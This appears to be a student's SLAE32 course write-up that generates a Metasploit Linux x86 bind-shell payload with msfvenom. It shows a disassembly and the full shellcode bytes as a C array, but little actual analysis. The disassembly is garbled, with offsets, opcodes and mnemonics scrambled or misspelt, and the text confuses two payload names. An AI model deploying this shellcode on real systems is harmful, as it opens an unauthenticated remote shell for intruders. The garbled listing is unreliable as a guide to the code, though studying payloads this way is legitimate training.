

SLAE32 assignment 5-2 PA-2485

- Take up at least 3 shellcode samples created using Msfpayload for linux/x86
- Use GDB/Ndisasm/Libemu to dissect the functionality of the shellcode
- Present your analysis

I choose this payload linux/x86/shell_bind_tcp and disassemble it using ndisasm by typing root@kali:~# msfvenom --platform=linux -a x86 -p linux/x86/shell_bind_tcp R | ndisasm -u -

```
root@kali: ~
File Edit View Search Terminal Help
root@kali:~# msfvenom -a x86 -p linux/x86/shell/bind tcp R | ndisasm -u -
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 110 bytes
00000000
          6A7D
                             push byte +0x7d
00000002
          58
                             pop eax
00000003
          99
                             cdq
00000004
                             mov dl,0x7
          B207
00000006
          B900100000
                             mov ecx,0x1000
0000000B 89E3
                             mov ebx, esp
000000D
          6681E300F0
                             and bx,0xf000
00000012
          CD80
                             int 0x80
00000014
          31DB
                             xor ebx, ebx
00000016 F7E3
                             mul ebx
00000018 53
                             push ebx
00000019
          43
                             inc ebx
0000001A
          53
                             push ebx
                             push byte +0x2
0000001B
          6A02
                             mov ecx, esp
0000001D
          89E1
0000001F
          B<sub>0</sub>66
                             mov al,0x66
00000021
          CD80
                             int 0x80
00000023
                             push ecx
          51
00000024
          6A04
                             push byte +0x4
00000026
          54
                             push esp
00000027
          6A02
                             push byte +0x2
00000029
          6A01
                             push byte +0x1
0000002B
          50
                             push eax
0000002C
          97
                             xchq eax,edi
0000002D
          89E1
                             mov ecx, esp
0000002F
          6A0E
                             push byte +0xe
00000031
          5B
                             pop ebx
                             push byte +0x66
00000032
          6A66
00000034
          58
                             pop eax
00000035
          CD80
                             int 0x80
00000037
                             xchq eax,edi
          97
00000038
          83C414
                             add esp, byte +0x14
0000003B
          59
                             pop ecx
0000003C
          5B
                             pop ebx
          5E
                             pop esi
0000003D
0000003E
         52
                             push edx
0000003F
                             push dword 0x5c110002
          680200115C
00000044
          6A10
                             push byte +0x10
00000046
          51
                             push ecx
00000047
          50
                             push eax
00000048
          89E1
                             mov ecx, esp
0000004A
          6A66
                             push byte +0x66
0000004C 58
                             pop eax
```

and here the shellcode for the bind tcp

```
root@kali:~# msfvenom -a x86 -p linux/x86/shell/bind_tcp -f c
No platform was selected, choosing Msf::Module::Platform::Linux from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 110 bytes
Final size of c file: 488 bytes
unsigned char buf[] =
"\x6a\x7d\x58\x99\xb2\x07\xb9\x00\x10\x00\x00\x89\xe3\x66\x81"
"\xe3\x00\xf0\xcd\x80\x31\xdb\xf7\xe3\x53\x43\x53\x6a\x02\x89"
"\xe1\xb0\x66\xcd\x80\x51\x6a\x04\x54\x6a\x02\x6a\x01\x50\x97"
"\x89\xe1\x6a\x0e\x5b\x6a\x66\x58\xcd\x80\x97\x83\xc4\x14\x59"
"\x5b\x5e\x52\x68\x02\x00\x11\x5c\x6a\x10\x51\x50\x89\xe1\x6a"
"\x66\x58\xcd\x80\xd1\xe3\xb0\x66\xcd\x80\x50\x43\xb0\x66\x89"
"\x51\x04\xcd\x80\x93\xb6\x0c\xb0\x03\xcd\x80\x87\xdf\x5b\xb0"
"\x06\xcd\x80\xff\xe1";
```

